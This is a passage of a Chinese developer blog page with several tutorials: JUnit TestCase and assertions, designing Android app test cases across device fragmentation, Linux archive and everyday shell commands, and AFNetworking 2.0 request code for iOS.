  对于重复出现在各个单元测试中的运行环境,可以集中加以管理,可以在继承TestCase之后,重新定义setUp()与tearDown()方法,将数个单元测试所需要的运行环境在setUp()中创建,并在tearDown()中销毁。
  Junit提供的种种断言
  JUnit提供了一些辅助函数,用于帮助你确定某个被测试函数是否工作正常。通常而言,我们把所有这些函数统称为断言。断言是单元测试最基本的组成部分。
  方法:
  assertEquals-期望值与实际值是否相等
  assertFalse-布尔值判断
  assertTrue-布尔值判断
  assertNull-对象空判断
  assertNotNull-对象不为空判断
  assertSame-对象同一实例判断
  assertNotSame-检查两个对象是否不为同一实例
  fail-使测试立即失败
  Junit和异常
  1.从测试代码抛出的可预测异常。
2.由于某个模块(或代码)发生严重错误,而抛出的不可预测异常。
  这两点的异常是我们比较关心的。下面展示一种情况:对于方法中每个被期望的异常,都应写一个专门的测试来确认该方法在应该抛出异常的时候确实会抛出异常。图展示的是抛出异常才通过,不抛出异常,case不通过。
  如图
  异常情况如下:
  对于处于出乎意料的异常,我们最好简单的改变我们的测试方法的声明让它能抛出可能的异常。JUnit框架可以捕获任何异常,并且把它报告为一个错误,这些都不需要你的参与。
  回顾一下如何使用Junit
  JUnit的使用非常简单,共有3步:
  第一步、编写测试类,使其继承TestCase;
  第二步、编写测试方法,使用testXXX的方式来命名测试方法;
  第三步、编写断言。
  如果测试方法有公用的变量等需要初始化和销毁,则可以使用setUp,tearDown方法。

posted @ 2014-12-22 23:25 顺其自然EVO 阅读(514) | 评论 (0)编辑 收藏

开发者的Java测试用例浅析

前段时间,在项目组里做了一点java测试用例,虽然没有全自动化,也完成了半自动化的测试。比如:针对接口的测试,提供服务的测试等,都不需要启动服务,也不需要接口准备好。我们只需要知道输入输出,便可以进行testcase的编写,这样很方便。我们这边这次完成的针对某一块业务。
  看一下一部分的完成情况
  这次的主要目的还是来讲TestCase
  那什么是TestCase?
  是为了系统地测试一个功能而由测试工程师写下的文档或脚本;
  Junit测试是程序员测试,即白盒测试(个人理解);
  具体到junit.framework. TestCase这个抽象类
  其实网上有很多关于这方面的帖子,博客之类的,大家也可以找找,学习学习。毕竟我这里的理解还是很肤浅的
  那第二点,为什么需要编写测试用例?
  通俗易懂一点:写的目的就是为了记录,并加以完善,因为测试一个功能往往不是走一遍就OK的,需要反复的改,反复的测,直到功能可以提交给客户。
  深度提炼一点:
  1) 测试用例被认为是要交付给顾客的产品的一部分。测试用例在这里充当了提高可信度的作用。典型的是UAT(可接受)级别。
  2) 测试用例只作为内部使用。典型的是系统级别的测试。在这里测试效率是目的。在代码尚未完成时,我们基于设计编写测试用例,以便一旦代码准备好了,我们就可以很快地测试产品。
  具体的参考:http://www.51testing.com/html/41/n-44641.html
  深入的也不多说,网上这种东西很多。
  正题:
  使用JUnit时,主要都是通过继承TestCase类别来撰写测试用例,使用testXXX()名称来撰写单元测试
  用JUnit写测试真正所需要的就三件事:
  1.  一个import语句引入所有junit.framework.*下的类。
  2.  一个extends语句让你的类从TestCase继承。
  3.  一个调用super(string)的构造函数。
  下面可以看一下TestCase的文档介绍里的Example
  1.构建一个测试类
  public class MathTest extends TestCase {
  protected double fValue1;
  protected double fValue2;
  protected void setUp() {
  fValue1= 2.0;
  fValue2= 3.0;
  }
  }
  2.一个Test方法以及断言使用
  public void testAdd() {
  double result= fValue1 + fValue2;
  assertTrue(result == 5.0);
  }
  3.运行单个方法的使用
  TestCase test= new MathTest("add") {
  public void runTest() {
  testAdd();
  }
  };
  test.run();
  或者
  TestCase test= new MathTest("testAdd");
  test.run();

4.运行一组测试用例
  public static Test suite() {
  suite.addTest(new MathTest("testAdd"));
  suite.addTest(new MathTest("testDividByZero"));
  return suite;
  }
  还有下面这种方式
  public static Test suite() {
  TestSuite suite = new TestSuite("Running all tests.");
  /*10000*/
  suite.addTestSuite(TestAgentApi.class);
  /*10001*/
  suite.addTestSuite(TestAgentUxxApi.class);
  }
  运行6个,5个没有通过,一目了然。
  setUp和tearDown
/**
* Sets up the fixture, for example, open a network connection.
* This method is called before a test is executed.
*/
protected void setUp() throws Exception {
}
/**
* Tears down the fixture, for example, close a network connection.
* This method is called after a test is executed.
*/
protected void tearDown() throws Exception {
}
  对于重复出现在各个单元测试中的运行环境,可以集中加以管理,可以在继承TestCase之后,重新定义setUp()与tearDown()方法,将数个单元测试所需要的运行环境在setUp()中创建,并在tearDown()中销毁。
  Junit提供的种种断言
  JUnit提供了一些辅助函数,用于帮助你确定某个被测试函数是否工作正常。通常而言,我们把所有这些函数统称为断言。断言是单元测试最基本的组成部分。
  方法:
  assertEquals-期望值与实际值是否相等
  assertFalse-布尔值判断
  assertTrue-布尔值判断
  assertNull-对象空判断
  assertNotNull-对象不为空判断
  assertSame-对象同一实例判断
  assertNotSame-检查两个对象是否不为同一实例
  fail-使测试立即失败
  Junit和异常
  1.从测试代码抛出的可预测异常。
2.由于某个模块(或代码)发生严重错误,而抛出的不可预测异常。
  这两点的异常是我们比较关心的。下面展示一种情况:对于方法中每个被期望的异常,都应写一个专门的测试来确认该方法在应该抛出异常的时候确实会抛出异常。图展示的是抛出异常才通过,不抛出异常,case不通过。
  如图
  异常情况如下:
  对于处于出乎意料的异常,我们最好简单的改变我们的测试方法的声明让它能抛出可能的异常。JUnit框架可以捕获任何异常,并且把它报告为一个错误,这些都不需要你的参与。
  回顾一下如何使用Junit
  JUnit的使用非常简单,共有3步:
  第一步、编写测试类,使其继承TestCase;
  第二步、编写测试方法,使用testXXX的方式来命名测试方法;
  第三步、编写断言。
  如果测试方法有公用的变量等需要初始化和销毁,则可以使用setUp,tearDown方法。

posted @ 2014-12-22 23:25 顺其自然EVO 阅读(479) | 评论 (0)编辑 收藏

如何设计Android App测试用例

 在当今竞争激烈的市场上一个APP的成功离不开一个可靠的用户界面(UI)。因此,对功能和用户体验有一些特殊关注和照顾的UI的全面测试是必不可少的。当涉及到安卓平台及其提出的独特问题的数量(安卓就UI提出显著挑战)时,挑战变得更加复杂。关键字“碎片化”象征着移动应用全面测试的最大障碍,还表明了发布到市场上的所有形态、大小、配置类型的安卓设备所引起的困难。本文将介绍安卓模拟器如何能通过使用一些技巧和简单的实践提供覆盖大量设备类型的广泛测试。
  简介—分散装置里的测试
  一般安卓开发者在其日常工作中面临的最大挑战之一是:终端设备和操作系统版本的范围太广。OpenSignal进行的一项研究表明,2013年7月市场上有超过11,828的不同安卓终端设备,所有设备在类型/大小/屏幕分辨率以及特定配置方面有所不同。考虑到前一年的调查仅记录有3,997款不同设备,这实在是一个越来越大的挑战障碍。
 
 图1.11,828 款安卓设备类型( OpenSignal研究, 2013年7月[ 1 ] )分布
  从一个移动APP开发角度出发,定义终端设备有四个基本特征:
  1.操作系统:由“API指标”( 1 ?18 )专业定义的安卓操作系统版本( 1.1? 4.3 ),。
  2.显示器:屏幕主要是由屏幕分辨率(以像素为单位),屏幕像素密度( 以DPI为单位),和/或屏幕尺寸(以英寸为单位)定义的。
  3.CPU:该“应用程序二进制接口” (ABI )定义CPU的指令集。这里的主要区别是ARM和基于Intel的CPU。
  4.内存:一个设备包括内存储器( RAM)和Dalvik 虚拟存储器( VM堆)的预定义的堆内存。
  这是前两个特点,操作系统和显示器,都需要特别注意,因为他们是直接由最终用户明显感受,且应该不断严格地被测试覆盖。至于安卓的版本, 2013年7月市场上有八个同时运行导致不可避免的碎片的不同版本。七月,近90%这些设备中的34.1 %正在运行Gingerbread版本( 2.3.3-2.3.7 ),32.3 %正在运行Jelly Bean( 4.1.x版),23.3 %正在运行Ice Cream Sandwich( 4.0.3 - 4.0.4 )。
  
图2.16款安卓版本分布(OpenSignal研究,2013年7月[1])
  考虑设备显示器,一项TechCrunch从2013年4月进行的研究显示,绝大多数(79.9%)有效设备正在使用尺寸为3和4.5英寸的“正常”屏幕。这些设备的屏幕密度在“MDPI”(160 DPI),“hdpi”(240 DPI)和“xhdpi”(320 DPI)之间变化。也有例外, 一种只占9.5%的设备屏幕密度低“hdpi”(120 DPI)且屏幕小。
  
图3. 常见的屏幕尺寸和密度的分布(谷歌研究,2013年4月)[2]
  如果这种多样性在质量保证过程中被忽略了,那么绝对可以预见:bugs会潜入应用程序,然后是bug报告的风暴,最后Google Play Store中出现负面用户评论。因此,目前的问题是:你怎么使用合理水平的测试工作切实解决这一挑战?定义测试用例及一个伴随测试过程是一个应付这一挑战的有效武器。
  用例—“在哪测试”、“测试什么”、“怎么测试”、“何时测试”?
  “在哪测试”
  为了节省你测试工作上所花的昂贵时间,我们建议首先要减少之前所提到的32个安卓版本组合及代表市场上在用的领先设备屏的5-10个版本的显示屏。选择参考设备时,你应该确保覆盖了足够广范围的版本和屏幕类型。作为参考,您可以使用OpenSignal的调查或使用手机检测的信息图[3],来帮助选择使用最广的设备。

  为了满足好奇心,可以从安卓文件[5]将屏幕的尺寸和分辨率映射到上面数据的密度(“ldpi”,“mdpi”等)及分辨率(“小的”,“标准的”,等等)上。
  
图4.多样性及分布很高的安卓终端设备的六个例子(手机检测研究,2013年2月)[3]
  有了2013手机检测研究的帮助,很容易就找到了代表性的一系列设备。有一件有趣的琐事:30%印度安卓用户的设备分辨率很低只有240×320像素,如上面列表中看到的,三星Galaxy Y S5360也在其中。另外,480×800分辨率像素现在最常用(上表中三星Galaxy S II中可见)。
  “测试什么”
  移动APP必须提供最佳用户体验,以及在不同尺寸和分辨率(关键字“响应式设计”)的各种智能手机和平板电脑上被正确显示(UI测试)。与此同时,apps必须是功能性的和兼容的(兼容性测试),有尽可能多的设备规格(内存,CPU,传感器等)。加上先前获得的“直接”碎片化问题(关于安卓的版本和屏幕的特性), “环境相关的”碎片化有着举足轻重的作用。这种作用涉及到多种不同的情况或环境,其中用户正在自己的环境中使用的终端设备。作为一个例子,如果网络连接不稳定,来电中断,屏幕锁定等情况出现,你应该慎重考虑压力测试[4]和探索性测试以确保完美无错。
  
图5. 测试安卓设备的各个方面
  有必要提前准备覆盖app最常用功能的所有可能的测试场景。早期bug检测和源代码中的简单修改,只能通过不断的测试才能实现。
  “怎么测试”
  将这种广泛的多样性考虑在内的一种务实方法是, 安卓模拟器 - 提供了一个可调节的工具,该工具几乎可以模仿标准PC上安卓的终端用户设备。简而言之,安卓模拟器是QA流程中用各种设备配置(兼容性测试)进行连续回归测试(用户界面,单元和集成测试)的理想工具。探索性测试中,模拟器可以被配置到一个范围广泛的不同场景中。例如,模拟器可以用一种能模拟连接速度或质量中变化的方式来设定。然而,真实设备上的QA是不可缺少的。实践中,用作参考的虚拟设备依然可以在一些小的(但对于某些应用程序来说非常重要)方面有所不同,比如安卓操作系统中没有提供程序特定的调整或不支持耳机和蓝牙。真实硬件上的性能在评价过程中发挥了自身的显著作用,它还应该在考虑了触摸硬件支持和设备物理形式等方面的所有可能终端设备上进行测试(可用性测试)。
  “何时测试”
  既然我们已经定义了在哪里(参考设备)测试 ,测试什么(测试场景),以及如何( 安卓模拟器和真实设备)测试,简述一个过程并确定何时执行哪一个测试场景就至关重要了。因此,我们建议下面的两级流程:
  1 .用虚拟设备进行的回归测试。
  这包括虚拟参考设备上用来在早期识别出基本错误的连续自动化回归测试。这里的理念是快速地、成本高效地识别bugs。
  2 .用真实设备进行的验收测试。
  这涉及到:“策划推广”期间将之发布到Google Play Store前在真实设备上的密集测试(主要是手动测试),(例如,Google Play[ 5 ]中的 alpha和beta测试组) 。
  在第一阶段,测试自动化极大地有助于以经济实惠的方式实现这一策略。在这一阶段,只有能轻易被自动化(即可以每日执行)的测试用例才能包含在内。
  在一个app的持续开发过程中,这种自动化测试为开发人员和测试人员提供了一个安全网。日常测试运行确保了核心功能正常工作,app的整体稳定性和质量由测试数据透明地反映出来,认证回归可以轻易地与最近的变化关联。这种测试可以很轻易地被设计并使用SaaS解决方案(如云中的TestObject的UI移动app测试)从测试人员电脑上被记录下来。
  当且仅当这个阶段已被成功执行了,这个过程才会在第二阶段继续劳动密集测试。这里的想法是:如果核心功能通过自动测试就只投入测试资源,使测试人员能够专注于先进场景。这个阶段可能包括测试用例,例如性能测试,可用性测试,或兼容性测试。这两种方法相结合产生了一个强大的移动apps质量保证策略[ 7 ] 。
  结论 - 做对测试
  用正确的方式使用,测试可以在对抗零散的安卓的斗争中成为一个有力的工具。一个有效的测试策略的关键之处在于定义手头app的定制测试用例,并定义一个简化测试的工作流程或过程。测试一个移动app是一个重大的挑战,但它可以用一个结构化的方法和正确的工具集合以及专业知识被有效解决掉。

posted @ 2014-12-22 23:23 顺其自然EVO 阅读(554) | 评论 (0)编辑 收藏

Linux解压有思路

  接触Linux系统后,发现有些特殊的文件,有些看似和windows下的文件有些渊源,例如filename.zip,是否真是“大明湖畔夏雨荷”?研习了相关Linux指导资料后,犹如思路打开,可以在“任行”一回。
  1、filename.tar
  此类文件适用于tar命令,tar是Linux中常用的打包命令,常称为tar包。
  tar -c 压缩归档
  tar -x 解压
  tar -t 查看内容
  tar -r 向压缩归档文件末尾追加文件
  tar -u更新原压缩包中的文件
  tar -v显示过程
  tar -o将文件解压到标准输出
  tar -p使用原文件的原来属性
  tar -P可以使用绝对路径来压缩
  示例:
  tar -cf filename.tar  filename.txt将filename.txt的文件打包成一个命名为filenam.tar的包。其中-f是指定包的名称。
  tar -rf filename.tar   filename.txt将filename.txt的文件增加到filename.tar的包文件里去。
  2、filename.gz
  gizp是GNU组织开发的一个压缩程序,.gz结尾的文件就是gzip压缩的结果。
  gzip -a 使用ASCII文字模式
  gzip -c  把解压后的文件输出到标准输出设备
  gzip -f   强制解压文件
  gzip -h 在线帮助
  gzip -l列出压缩文件的相关信息
  gzip -L显示版本与版权信息
  gzip -n解压时,忽略包含文件的信息
  gzip -N 与-n相反,保留原有的信息
  gzip -q 不显示警告信息
  gzip -r 递归处理包内相关文件
  gzip -S更改压缩字尾字符串
  gzip -t 测试压缩文件是否正确无误
  gzip -v显示指令执行过程
  gzip -V显示版本信息
  示例:
  tar -czf filename.tar.gz filename.txt 将filename.txt的文件打包成一个tar包,并将该文件用gzip压缩,生产一个名为filename.tar.gz的包
  tar -xzf filename.tar.gz 解压filename.tar.gz包文件
  3、filename.tar.bz2
  bzip2是一个基于burrows-wheeler变换的无损压缩软件,.bz2结尾的文件就是bzip2压缩的结果。
  bzip2 -c将压缩与解压缩的结果送到标准输出
  bzip2 -d执行解压缩
  bzip2 -f bizp2在压缩或解压缩时,如果输出文件与现有文件同名,预设不会覆盖现有文件
  bzip2 -h 显示帮助
  bzip2 -k bzip2在压缩或解压缩后,删除原文件。
  bzip2 -t 降低程序执行时内存的使用量
  bzip2 -v 显示信息
  bzip2 -z强制执行压缩
  bzip2 -L获得许可信息
  bzip2 -V显示版本信息
  bzip2 --repetitive-best 如果有多个执行文件时,可以提高压缩效果
  bzip2 --repetitive-fast 如果有多个执行文件时,可以加快执行速度
  示例:
  tar -cjf filename.tar.bz2  filename.txt 将filename.txt打成一个tar包,并将该文件用bzip2压缩,形成一个名为filename.tar.gz2的包文件
  tar -xjf filename.tar.bz2 解压filename.tar.bz2的文件
  4、filename.zip
  zip一种计算机文件压缩算法,filename.zip的文件就是用zip的算法压缩的文件
  unzip -A调整可执行的自动解压缩文件
  unzip -b制定暂时存放文件的目录
  unzip -c替每个被压缩的文件加上注释
  unzip -d从压缩文件内删除指定的文件
  unzip -D压缩文件内不建立目录名称
  unzip -f更新现有文件,若某些文件原本不存在压缩文件内,本命令会一并将其加入压缩文件中
  unzip -F尝试修复已损坏的压缩文件
  unzip -g将文件压缩后附加在既有的压缩文件之后,而非另新建压缩文件
  unzip -h在线帮助
  unzip -i只压缩符合条件的文件
  unzip -j只保存文件名称及其内容,而不存放任何目录名称
  unzip -J删除压缩文件前面不必要的数据
  unzip -k使用MS-DOS兼容格式的文件名称
  unzip -l压缩文件时,把LF字符置换成LF+CR字符
  unzip -ll压缩文件时,把LF+CR字符置换成LF字符
  unzip -L显示版权信息
  unzip -m将文件压缩并加入压缩文件后,删除原始文件,即把文件移动到压缩文件中。
  unzip -n不压缩具有特定字尾字符串的文件
  unzip -o以压缩文件内拥有最新更改时间的文件为准,将压缩文件的更改时间设成和该文件相同
  unzip -q不显示指令执行过程
  unzip -r递归处理,将指定目录下的所有文件和子目录一同处理
  unzip -S包含系统和隐藏文件
  unzip -t把压缩备份文件的日期设成指定的日期
  unzip -T检查备份文件内的每个文件是否正确无误
  unzip -u更新替换较新的文件到压缩文件内
  unzip -v显示指令执行过程或显示版本信息
  unzip -V保存VMS操作系统文件属性
  unzip -p使用zip的密码选项
  示例:
  zip filename.zip   filename.txt 将filename.txt文件压缩成一个filename.zip的包
  unzip filename.zip 解压filename.zip的包文件
  5、rpm
  rpm 是redhat package manager(红帽软件包管理工具)的缩写,现在包括openLinux、suse、turbo Linux的分发版本都有采用,算得上是公认版本了
  rpm -vh 显示安装进度
  rpm -U升级软件包
  rpm -qpl列出rpm软件包内的文件信息
  rpm -qpi列出rpm软件包的描述信息
  rpm -qf查找指定文件属于哪个rpm软件包
  rpm -Va校验所有的rpm软件包,查找丢失的文件
  rpm -qa查找相应文件,如rpm -qa httpd
  rpm -e卸载rpm包
  rpm -q查询已安装的软件信息
  rpm -i安装rpm包
  rpm --replacepkgs重装rpm包
  rpm --percent在软件包安装时输出百分比
  rpm --help帮助
  rpm --version显示版本信息
  rpm -c显示所有配置文件
  rpm -d显示所有文档文件
  rpm -h显示安装进度
  rpm -l列出软件包中的文件
  rpm -a显示出文件状态
  rpm --nomd5不验证文件的md5支持
  rpm --force 强制安装软件包
  rpm --nodeps忽略依赖关系
  rpm --whatprovides查询/验证提供一个依赖的软件包
  示例:
  rpm -qa|grep httpd 查看是httpd是否安装
  rpm -e httpd 卸载httpd
  以上是对Linux系统中的一些压缩包进行小小的总结,在此有几点建议:1、当看到*.tar、*.tar.zip、*.bz2、*.gz、*.rpm等包文件是,多熟练使用man命令,查看tar、unzip、bzip2、rmp的命令执行说明,以帮助能正确的对文件的管理;2、对于一些安装组件(从官方获得的文件包),及时找到相应的官方的说明文档,按照文档说明方式来进行操作;3、工作时,要及时和自己直接负责人沟通,以便于对公司的相关文件进行正确操作;4、勤于积累经验,形成文档。

posted @ 2014-12-11 23:48 顺其自然EVO 阅读(498) | 评论 (0)编辑 收藏

对中级Linux用户有用的20个命令

1. 命令: Find
  搜索指定目录下的文件,从开始于父目录,然后搜索子目录。
  注意: -name‘选项是搜索大小写敏感。可以使用-iname‘选项,这样在搜索中可以忽略大小写。(*是通配符,可以搜索所有的文件;‘.sh‘你可以使用文件名或者文件名的一部分来制定输出结果)
  注意:以上命令查找根目录下和所有文件夹以及加载的设备的子目录下的所有包含‘tar.gz’的文件。
  ’find’命令的更详细信息请参考35 Find Command Examples in Linux
  2. 命令: grep
  ‘grep‘命令搜索指定文件中包含给定字符串或者单词的行。举例搜索‘/etc/passwd‘文件中的‘tecmint’
  使用’-i’选项将忽略大小写。
  使用’-r’选项递归搜索所有自目录下包含字符串 “127.0.0.1“.的行。
  注意:您还可以使用以下选项:
  -w 搜索单词 (egrep -w ‘word1|word2‘ /path/to/file).
  -c 用于统计满足要求的行 (i.e., total number of times the pattern matched) (grep -c ‘word‘ /path/to/file).
  –color 彩色输出 (grep –color server /etc/passwd).
  3. 命令: man
  ‘man‘是系统帮助页。Man提供命令所有选项及用法的在线文档。几乎所有的命令都有它们的帮助页,例如:
  上面是man命令的系统帮助页,类似的有cat和ls的帮助页。
  注意:系统帮助页是为了命令的使用和学习而设计的。
  4. 命令: ps
  ps命令给出正在运行的某个进程的状态,每个进程有特定的id成为PID。
  使用‘-A‘选项可以列出所有的进程及其PID。
  注意:当你要知道有哪些进程在运行或者需要知道想杀死的进程PID时ps命令很管用。你可以把它与‘grep‘合用来查询指定的输出结果,例如:
  ps命令与grep命令用管道线分割可以得到我们想要的结果。
  5. 命令: kill
  也 许你从命令的名字已经猜出是做什么的了,kill是用来杀死已经无关紧要或者没有响应的进程.它是一个非常有用的命令,而不是非常非常有用.你可能很熟悉 Windows下要杀死进程可能需要频繁重启机器因为一个在运行的进程大部分情况下不能够杀死,即使杀死了进程也需要重新启动操作系统才能生效.但在 linux环境下,事情不是这样的.你可以杀死一个进程并且重启它而不是重启整个操作系统.
  杀死一个进程需要知道进程的PID.
  假设你想杀死已经没有响应的‘apache2‘进程,运行如下命令:
  搜索‘apache2‘进程,找到PID并杀掉它.例如:在本例中‘apache2‘进程的PID是1285..
  注意:每次你重新运行一个进程或者启动系统,每个进程都会生成一个新的PID.你可以使用ps命令获得当前运行进程的PID.
  另一个杀死进程的方法是:
  注意:kill需要PID作为参数,pkill可以选择应用的方式,比如指定进程的所有者等.
  6. 命令: whereis
  whereis的作用是用来定位命令的二进制文件\资源\或者帮助页.举例来说,获得ls和kill命令的二进制文件/资源以及帮助页:
  注意:当需要知道二进制文件保存位置时有用.
  7. 命令: service
  ‘service‘命令控制服务的启动、停止和重启,它让你能够不重启整个系统就可以让配置生效以开启、停止或者重启某个服务。
  在Ubuntu上启动apache2 server:
  重启apache2 server:
  停止apache2 server:
  注意:要想使用service命令,进程的脚本必须放在‘/etc/init.d‘,并且路径必须在指定的位置。
  如果要运行“service apache2 start”实际上实在执行“service /etc/init.d/apache2 start”.
  8. 命令: alias
  alias是一个系统自建的shell命令,允许你为名字比较长的或者经常使用的命令指定别名。
  我经常用‘ls -l‘命令,它有五个字符(包括空格)。于是我为它创建了一个别名‘l’。
  试试它是否能用:
  去掉’l’别名,要使用unalias命令:
  再试试:
  开个玩笑,把一个重要命令的别名指定为另一个重要命令:
  想想多么有趣,现在如果你的朋友敲入‘cd’命令,当他看到的是目录文件列表而不是改变目录;当他试图用’su‘命令时,他会进入当前目录。你可以随后去掉别名,向他解释以上情况。
  9.命令: df
  报告系统的磁盘使用情况。在跟踪磁盘使用情况方面对于普通用户和系统管理员都很有用。 ‘df‘ 通过检查目录大小工作,但这一数值仅当文件关闭时才得到更新。
  ‘df’命令的更多例子请参阅 12 df Command Examples in Linux.
  10. 命令: du
  估计文件的空间占用。 逐层统计文件(例如以递归方式)并输出摘要。
  注意: ‘df‘ 只显示文件系统的使用统计,但‘du‘统计目录内容。‘du‘命令的更详细信息请参阅10 du (Disk Usage) Commands.
  11. 命令: rm
  ‘rm’ 标准移除命令。 rm 可以用来删除文件和目录。
  直接删除目录时会报错:
  ‘rm’ 不能直接删除目录,需要加上相应的’-rf’参数才可以。
  警告: “rm -rf” 命令是一个破坏性的命令,假如你不小心删除一个错误的目录。一旦你使用’rm -rf’ 删除一个目录,在目录中所有的文件包括目录本身会被永久的删除,所以使用这个命令要非常小心。
  12. 命令: echo
  echo  的功能正如其名,就是基于标准输出打印一段文本。它和shell无关,shell也不读取通过echo命令打印出的内容。然而在一种交互式脚本中,echo通过终端将信息传递给用户。它是在脚本语言,交互式脚本语言中经常用到的命令。
  创建一小段交互式脚本
  1. 在桌面上新建一个文件,命名为 ‘interactive_shell.sh‘  (记住必须带 ‘.sh‘扩展名)。
  2. 复制粘贴如下脚本代码,确保和下面的一致。
  接下来,设置执行权限并运行脚本。
  注意: ‘#!/bin/bash‘ 告诉shell这是一个脚本,并且在脚本首行写上这句话是个好习惯。. ‘read‘ 读取给定的输出。
  13. 命令: passwd
  这是一个很重要的命令,在终端中用来改变自己密码很有用。显然的,因为安全的原因,你需要知道当前的密码。
  14. 命令: lpr
  这个命令用来在命令行上将指定的文件在指定的打印机上打印。
  注意: “lpq“命令让你查看打印机的状态(是开启状态还是关闭状态)和等待打印中的工作(文件)的状态。
  15. 命令: cmp
  比较两个任意类型的文件并将结果输出至标准输出。如果两个文件相同, ‘cmp‘默认返回0;如果不同,将显示不同的字节数和第一处不同的位置。
  以下面两个文件为例:
  file1.txt
  file2.txt
  比较一下这两个文件,看看命令的输出。
  16. 命令: wget
  Wget是用于非交互式(例如后台)下载文件的免费工具.支持HTTP, HTTPS, FTP协议和 HTTP 代理。
  使用wget下载ffmpeg
  17 命令: mount
  mount 是一个很重要的命令,用来挂载不能自动挂载的文件系统。你需要root权限挂载设备。
  在插入你的文件系统后,首先运行”lsblk“命令,识别出你的设备,然后把分配的设备名记下来。
  从这个输出上来看,很明显我插入的是4GB的U盘,因而“sdb1”就是要挂载上来的文件系统。以root用户操作,然后切换到/dev目录,它是所有文件系统挂载的地方。
  创建一个任何名字的目录,但是最好和引用相关。
  现在将“sdb1”文件系统挂载到“usb”目录.
  现在你就可以从终端进入到/dev/usb或者通过X窗口系统从挂载目录访问文件。
  是时候让程序猿见识见识Linux环境是多么丰富了!
  18. 命令: gcc
  gcc 是Linux环境下C语言的内建编译器。下面是一个简单的C程序,在桌面上保存为Hello.c (记住必须要有‘.c‘扩展名)。
  编译
  运行
  注意: 编译C程序时,输出会自动保存到一个名为“a.out”的新文件,因此每次编译C程序 “a.out”都会被修改。 因此编译期间最好定义输出文件名.,这样就不会有覆盖输出文件的风险了。
  用这种方法编译
  这里‘-o‘将输出写到‘Hello‘文件而不是 ‘a.out‘。再运行一次。
  19. 命令: g++
  g++是C++的内建编译器。下面是一个简单的C++程序,在桌面上保存为Add.cpp (记住必须要有‘.cpp‘扩展名)。
  编译并运行
  注意:编译C++程序时,输出会自动保存到一个名为“a.out”的新文件,因此每次编译C++程序 “a.out”都会被修改。 因此编译期间最好定义输出文件名.,这样就不会有覆盖输出文件的风险了。
  用这种方法编译并运行
  20. 命令: java
  Java 是世界上使用最广泛的编程语言之一. 它也被认为是高效, 安全和可靠的编程语言. 现在大多数基于网络的服务都使用Java实现.
  拷贝以下代码到一个文件就可以创建一个简单的Java程序. 不妨把文件命名为tecmint.java (记住: ‘.java’扩展名是必需的).
  用javac编译tecmint.java并运行
  注意: 几乎所有的Linux发行版都带有gcc编译器, 大多数发行版都内建了g++ 和 java 编译器, 有些也可能没有. 你可以用apt 或 yum 安装需要的包.

posted @ 2014-12-11 23:47 顺其自然EVO 阅读(553) | 评论 (0)编辑 收藏

IOS网络访问之使用AFNetworking

  AFNetworking是IOS上常用的第三方网络访问库,我们可以在github上下载它,同时github上有它详细的使用说明,最新的AFNetworing2.0与1.0有很大的变化,这里仅对2.0常用的使用方法进行总结
  基于NSURLConnection的API
  提交GET请求
  AFHTTPRequestOperationManager *manager = [AFHTTPRequestOperationManager manager];
  [manager GET:@"http://example.com/resources.json" parameters:nil success:^(AFHTTPRequestOperation *operation, id responseObject) {
  NSLog(@"JSON: %@", responseObject);
  } failure:^(AFHTTPRequestOperation *operation, NSError *error) {
  NSLog(@"Error: %@", error);
  }];
  AFResponseSerializer
  上面代码中responseObject代表了返回的值,当网络返回json或者xml之类的数据时,它们的本质都是字符串,我们需要通过一定操作才能把字符串转成希望的对象,AFNetWorking通过设置AFHTTPRequestOperationManager对象的responseSerializer属性替我们做了这些事。
  如果返回的数据时json格式,那么我们设定
  manager.responseSerializer = [[AFJSONResponseSerializer alloc] init],responseObject就是获得的json的根对象(NSDictionary或者NSArray)
  如果返回的是plist格式我们就用AFPropertyListResponseSerializer解析器
  如果返回的是xml格式我们就用AFXMLParserResponseSerializer解析器,responseObject代表了NSXMLParser对像
  如果返回的是图片,可以使用AFImageResponseSerializer
  如果只是希望获得返回二进制格式,那么可以使用AFHTTPResponseSerializer
  AFRequestSerializer
  AFHTTPRequestOperationManager还可以通过设置requestSeializer属性设置请求的格式
  有如下的请求地址与参数
  NSString *URLString = @"http://example.com";
  NSDictionary *parameters = @{@"foo": @"bar", @"baz": @[@1, @2, @3]};
  我们使用AFHTTPRequestSerializer的GET提交方式
  [[AFHTTPRequestSerializer serializer] requestWithMethod:@"GET" URLString:URLString parameters:parameters error:nil];
  GET http://example.com?foo=bar&baz[]=1&baz[]=2&baz[]=3
  我们使用AFHTTPRequestSerializer的POST提交方式
  [[AFHTTPRequestSerializer serializer] requestWithMethod:@"POST" URLString:URLString parameters:parameters];
  POST http://example.com/
  Content-Type: application/x-www-form-urlencoded
  foo=bar&baz[]=1&baz[]=2&baz[]=3
  我们使用AFJSONRequestSerializer
  [[AFJSONRequestSerializer serializer] requestWithMethod:@"POST" URLString:URLString parameters:parameters];
  POST http://example.com/
  Content-Type: application/json
  {"foo": "bar", "baz": [1,2,3]}
  默认提交请求的数据是二进制(AFHTTPRequestSerializer)的,返回格式是JSON(AFJSONResponseSerializer)
提交POST请求
AFHTTPRequestOperationManager *manager = [AFHTTPRequestOperationManager manager];
NSDictionary *parameters = @{@"foo": @"bar"};
[manager POST:@"http://example.com/resources.json" parameters:parameters success:^(AFHTTPRequestOperation *operation, id responseObject) {
NSLog(@"JSON: %@", responseObject);
} failure:^(AFHTTPRequestOperation *operation, NSError *error) {
NSLog(@"Error: %@", error);
}];
  提交POST请求时附带文件
AFHTTPRequestOperationManager *manager = [AFHTTPRequestOperationManager manager];
NSDictionary *parameters = @{@"foo": @"bar"};
NSURL *filePath = [NSURL fileURLWithPath:@"file://path/to/image.png"];
[manager POST:@"http://example.com/resources.json" parameters:parameters constructingBodyWithBlock:^(id<AFMultipartFormData> formData) {
[formData appendPartWithFileURL:filePath name:@"image" error:nil];
} success:^(AFHTTPRequestOperation *operation, id responseObject) {
NSLog(@"Success: %@", responseObject);
} failure:^(AFHTTPRequestOperation *operation, NSError *error) {
NSLog(@"Error: %@", error);
}];
  也可以通过appendPartWithFileData上传NSData数据的文件
  AFHTTPRequestOperation
  除了使用AFHTTPRequestOperationManager访问网络外还可以通过AFHTTPRequestOperation,AFHTTPRequestOperation继承自AFURLConnectionOperation,
  AFURLConnectionOperation继承自NSOperation,所以可以通过AFHTTPRequestOperation定义了一个网络请求任务,然后添加到队列中执行。
NSMutableArray *mutableOperations = [NSMutableArray array];
for (NSURL *fileURL in filesToUpload) {
NSURLRequest *request = [[AFHTTPRequestSerializer serializer] multipartFormRequestWithMethod:@"POST" URLString:@"http://example.com/upload" parameters:nil constructingBodyWithBlock:^(id<AFMultipartFormData> formData) {
